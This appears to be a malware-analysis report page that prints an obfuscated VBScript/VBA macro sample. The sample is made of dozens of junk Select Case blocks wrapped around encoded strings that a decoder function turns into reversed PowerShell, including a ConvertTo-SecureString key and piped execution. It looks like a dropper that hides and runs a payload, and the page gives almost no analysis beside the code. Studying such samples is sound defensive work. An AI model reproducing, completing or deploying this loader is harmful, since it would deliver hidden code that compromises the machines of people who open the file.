            plZoT = Fix(63327)
            kXmoti = Oct(34329)
End Select
Select Case zThoXa
         Case 64508
            jcKGVR = EVnoZK
            kjcHT = ApqAj
            qdadUM = Cos(66321 * CBool(79647))
         Case 23959
            kGSnj = 438
            vTCjkj = Fix(1580)
            QHSzu = Oct(71407)
End Select
VuLfwoGfvKA = JdXATb("rIqodaGAxAwNAADA1AgYAMGAxAgYAYGAiBwYAEGAyAQYAQGAxAgYAUGAwAQZAEDAmBAZAIGA1AQMd", 2 + 0, 70 + 0)
Select Case WjbGd
         Case 83753
            brVCS = VoffAG
            jhFGuZ = DFPrS
            akiMdW = Cos(84480 * CBool(54049))
         Case 84445
            LhQEq = 54085
            nznpdo = Fix(59209)
            LEaPW = Oct(53286)
End Select
Select Case ZEVIcT
         Case 91680
            kQZbjz = lHPUhB
            cOUjY = jtjhZ
            KAXQN = Cos(67109 * CBool(61101))
         Case 2963
            jhsCPi = 24954
            ElnoRc = Fix(13919)
            wuazqk = Oct(84029)
End Select
CwhEpkGGI = JdXATb("KiUAEDAlBAOAcDAhBQMAUDAlBwYAUDA2AAZAQDAwAgYAADAhBAMAMGAyAwYAADAhBgMAUGAiBQYAMDA2AAOAYDA2AAMAUGA5AwMAQGAjBgYAQnB8E", 5 + 0, 106 + 0)
Select Case ZmrNq
         Case 5199
            Bzjvhc = JmWMbw
            VsYQcQ = FBkwpp
            crzpBz = Cos(72608 * CBool(79041))
         Case 70693
            ZMSlod = 58039
            uQDtS = Fix(93913)
            mzwzv = Oct(98893)
End Select
Select Case JDwzwd
         Case 53410
            KRzVk = tFYlM
            DFhSQ = HJvHHq
            BDWCY = Cos(45483 * CBool(34715))
         Case 65373
            zXToZi = 72498
            zjmjsD = Fix(41559)
            jAVSMD = Oct(19611)
End Select
awbuCnbVo = JdXATb("6DX0N]1[DiLLehwIhnfG$ (. |) ) ))45,241,411,23,49,48,58,43,231,88,9,48,001,611,422,84,681,53z", 2 + 0, 81 + 0)
Select Case PiIWD
         Case 177
            urRFJ = cWdXDH
            DZIAAY = XwPZwN
            ZqVPp = Cos(98759 * CBool(34404))
         Case 84803
            bzLfEd = 84138
            IviGpa = Fix(17043)
            fIrzb = Oct(83630)
End Select
Select Case OFJiV
         Case 10529
            XUdBG = jzEhj
            XqUqdh = tGjkBX
            EuMbo = Cos(91334 * CBool(82191))
         Case 4773
            zFPQnh = 56091
            EPiLft = Fix(28503)
            zXMGok = Oct(54241)
End Select
jtQPUZ = JdXATb("d,4IwIhnfGkJiBQZAkDA5AwMAQGAhBgNAQDAiBgNAEGAyAgMAEGA3AwYAIDA5AgZAUGA2AwYAYDA4AAZAIGA3AQYAMDAyAgMAADAhB", 2 + 0, 89 + 0)
Select Case hFlkcs
         Case 70962
            UJXlNR = Mdkjl
            NYBzvr = ivsMd
            ihvsVL = Cos(59758 * CBool(73675))
         Case 81576
            VdSfM = 99439
            DErpUj = Fix(70583)
            jAMRYR = Oct(21146)
End Select
Select Case RXFnk
         Case 41967
            iLbHz = bIbON
            wFrfj = QYbqh
            dUWDDB = Cos(83303 * CBool(81146))
         Case 78155
            zuWNw = 53468
            SUKnzE = Fix(7241)
            sWTUwo = Oct(84548)
End Select
oTwmzlROc = JdXATb("FGANAYDAyAwYAEDAwAgNAYGAxAgNAEDAyAgZAIDA3AwNAEGAwAgZAUDA0AwMAEGA5AQOAUGAxAgYAkDA2AgMAEGAhBQNAIGA0AQNAMGAhBAOAcDAmBAOAEGAhBwMAQDAzAQYAMDA3AgYAIDAhBwNAMDAK44.", 5 + 0, 150 + 0)
Select Case zdioYF
         Case 51447
            WkZFw = VVokJ
            WodQS = KiYVri
            QWjTn = Cos(30401 * CBool(24114))
         Case 88178
            QPfzdj = 954
            fMfWGL = Fix(99889)
            Wvuvz = Oct(1798)
End Select
Select Case MoTqnY
         Case 97027
            PZwjPF = BmbWM
            srERa = tjjtqB
            zZTWiC = Cos(7065 * CBool(36624))
         Case 41296
            jzjCiu = 67228
            GDdUz = Fix(29117)
            MsEwj = Oct(59759)
End Select
GUZllhshzhl = JdXATb("jAiJ.tUAIDA3AAMAIGAxAQNAMDA0AQZAgDAlBgYAEGAyAgZAgDA0AQYAkDAmBANAYDAiBgYAMDAyAQMAADAhBwNAMGAkBANAcDA3AQOAEDAwAQOAJ", 2 + 0, 105 + 0)
Select Case iUHki
         Case 29781
            TIhXPY = ucKmz
            jwRdc = zWJwW
            wYSMvw = Cos(22559 * CBool(37454))
         Case 63095
            uvwhrF = 34533
            uJlKY = Fix(63010)
            iIiSW = Oct(19342)
End Select
Select Case VnUJXd
         Case 85000
            XIdTc = btMfm
            frnLTL = fuIKuc
            vmwHiU = Cos(85532 * CBool(39731))
         Case 54377
            uztdB = 68499
            nztBd = Fix(408)
            qLnMT = Oct(28113)
End Select
HKOIjVdobLz = JdXATb("aVAANAEDAhBQOAMDAyAAMAYGAmBgNAQGAyAAMAUDAmBQOAcDAzAQYAUDAkBgYAEGAjBgNAYGA2AgYAcDA2AgNAkDAyAQNAYGA1AQOAIDA1AANAMDAkBgZAUDAwAgNAUGAiBQMbGEn", 5 + 0, 131 + 0)
Select Case iqwTow
         Case 9531
            SiKPfQ = RMiLB
            vjiSm = QWhjBN
            MGzJM = Cos(75330 * CBool(4886))
         Case 82635
            LrNUrU = 89363
            iHNbnH = Fix(33346)
            CIoal = Oct(5068)
End Select
Select Case lnAQC
         Case 20102
            SVSRD = KMHpm
            HqdjFT = ESDBw
            WFPzfz = Cos(71624 * CBool(72001))
         Case 68533
            OwCLnh = 12383
            BOJaS = Fix(15472)
            vwiFG = Oct(28838)
End Select
CiwamP = JdXATb("FEPapGBwYAIDAxAQNAEGAkBgYAYDAlBwNAgDAzAwNAQDAwAQYAUDA0AQZAADAyAQYAIGAmBQNAYDA5AwYAADAzAAZAEGA0zz", 3 + 0, 88 + 0)
Select Case VXhNu
         Case 25374
            qBpYPP = CHkXLB
            ikwmH = jCGfdL
            bfiZnt = Cos(49137 * CBool(21479))
         Case 25950
            CDtXs = 78370
            iuNUnm = Fix(70553)
            nVsnuJ = Oct(89929)
End Select
Select Case cwHNu
         Case 42113
            DIbXf = jzvudv
            bXOhqO = RDGiv
            XFMEsA = Cos(95396 * CBool(19540))
         Case 61255
            IWPTS = 10896
            qMJhaE = Fix(69272)
            WjFDAB = Oct(87711)
End Select
SBCLusXozV = JdXATb("N.7Km7MAIGAwAQMAMGAzAgNAQGAhBgNAcDAzAQYAMGA4AgNAUGAlBgNAIDAhBwYAEDAiBwNAQGAjBwNAgDA5AQOAMGAiBQMAgDA0AwYAIGA2AgNAkDAwAAZAEGA5AwNAkDA1AQMAIDAmBQOAEDAyAgfD", 3 + 0, 144 + 0)
Select Case AaimrC
         Case 56178
            fwVGKb = wMLQVl
            wAciVU = GfBOtO
            oTAojL = Cos(4238 * CBool(58331))
         Case 69049
            PvlHro = 70848
            rDddJ = Fix(24158)
            IGYQTs = Oct(31867)
End Select
Select Case IDmDD
         Case 96633
            qAAjV = Miljvz
            Fmbuq = LuhPZ
            rKvwbw = Cos(70679 * CBool(2085))
         Case 65474
            UKlwQo = 61579
            LFqBJV = Fix(54410)
            MvmFIl = Oct(52586)
End Select
PQQTL = JdXATb("N,BDAhBgYAMGA0AAZAQDAhBANAUDAmBgZAYGAhBQMAEGAzAQMAEDAiBQZAMNlGFm", 6 + 0, 56 + 0)
Select Case idRkK
         Case 64414
            whXRQ = uqXOC
            UqpBZ = jloOc
            jjiSm = Cos(43574 * CBool(91814))
         Case 39165
            vtUlDL = 67842
            FOrFj = Fix(13906)
            ocrOb = Oct(91487)
End Select
Select Case iAhqb
         Case 68161
            MwztHI = IiRFnd
            GqXGsF = mhNiiO
            WVlACw = Cos(14918 * CBool(68468))
         Case 65312
            vpwNG = 45885
            LHKXJK = Fix(68686)
            duZOjK = Oct(56274)
End Select
QnASH = JdXATb("viA2AgMAgDA0AwNAUGA1AwMAcDA5AwMAADAkBQMAIDAaaN5", 5 + 0, 41 + 0)
Select Case QmIjEl
         Case 63343
            WIKKCJ = jJZXWD
            MLBQY = iUwBS
            fbzria = Cos(51610 * CBool(45694))
         Case 1546
            zYhTQ = 87590
            KnGqG = Fix(49166)
            ioMiEC = Oct(20479)
End Select
Select Case cVWAvb
         Case 77731
            KpFDC = Tvzak
            dhWHM = mrRFws
            nJBYh = Cos(9671 * CBool(57072))
         Case 23308
            vGivL = 96531
            ZziiK = Fix(325)
            zPozpz = Oct(92900)
End Select
DimwP = JdXATb("d7Zf ,702,52,112,14,052,571  yEk- gnirtSERUcEwIhnfG-otTREVnOc | '=AQZAIGAhBgYAUDA2AQYAMGA1AgYAEDA1AwYAMGAmBQOAMDAlBAMAYDAzAAMAYDA2AwNAIGAwAgZAEGAlBgZAYDA5AQNAADAmBgNAQGA1AgYAMGn6", 3 + 0, 166 + 0)
Select Case tMjPC
         Case 34283
            SVGBI = PdQloo
            IOOJnO = JsFoP
            qNRMw = Cos(91865 * CBool(70970))
         Case 4546
            MYJrIj = 72430
            NAIDw = Fix(59821)
            ZcnPNZ = Oct(29773)
End Select
Select Case TjCGb
…

Open this report in the interactive analyzer, or submit your own file for analysis.